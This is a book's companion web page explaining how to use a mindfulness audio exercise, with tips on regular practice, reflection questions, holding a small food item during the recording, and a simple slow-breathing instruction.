This page contains the mindfulness exercise referenced throughout the book.

The exercise is designed to help slow things down, reconnect attention to the present moment, and reduce automatic reactive patterns that can often intensify stress, anxiety, anger, and emotional overwhelm.

Mindfulness Exercise Audio

You can listen to the mindfulness exercise recording below and follow along with the instructions on this page.

Please try to use the exercise regularly.

Like any skill, mindfulness becomes easier and more effective with practice over time.

How to Use This Exercise

Please try to play the MP3 recording as regularly as you can.

Like any skill, this takes practice. 

Find a quiet place and a suitable time to do the exercise. 

Try not to overanalyse the exercise while you are doing it — just follow along and allow the experience to happen.

Afterwards, take a moment to reflect on what you noticed. For example:

- Did thoughts come up?
- Were there fewer thoughts than usual?
- Did your mind wander, but you were able to bring your attention back?
- Did you feel any less angry or more relaxed? 

For the first few times, it can help to have a small item ready in your hand — something like a lollie, or a small piece of carrot, cheese, or cucumber. Place it on a wrapper or piece of paper in the palm of your hand.

This way, when the recording prompts you, you are ready to follow along without interruption.

If you are using this exercise to help with sleep, do not put anything in your mouth. I do not need you choking in your sleep.
When you reach the breathing section, keep it simple: breathe in and out slowly for around 4–5 seconds, repeating this a few times. If you are already awake, you have nothing to lose — and potentially sleep to gain.
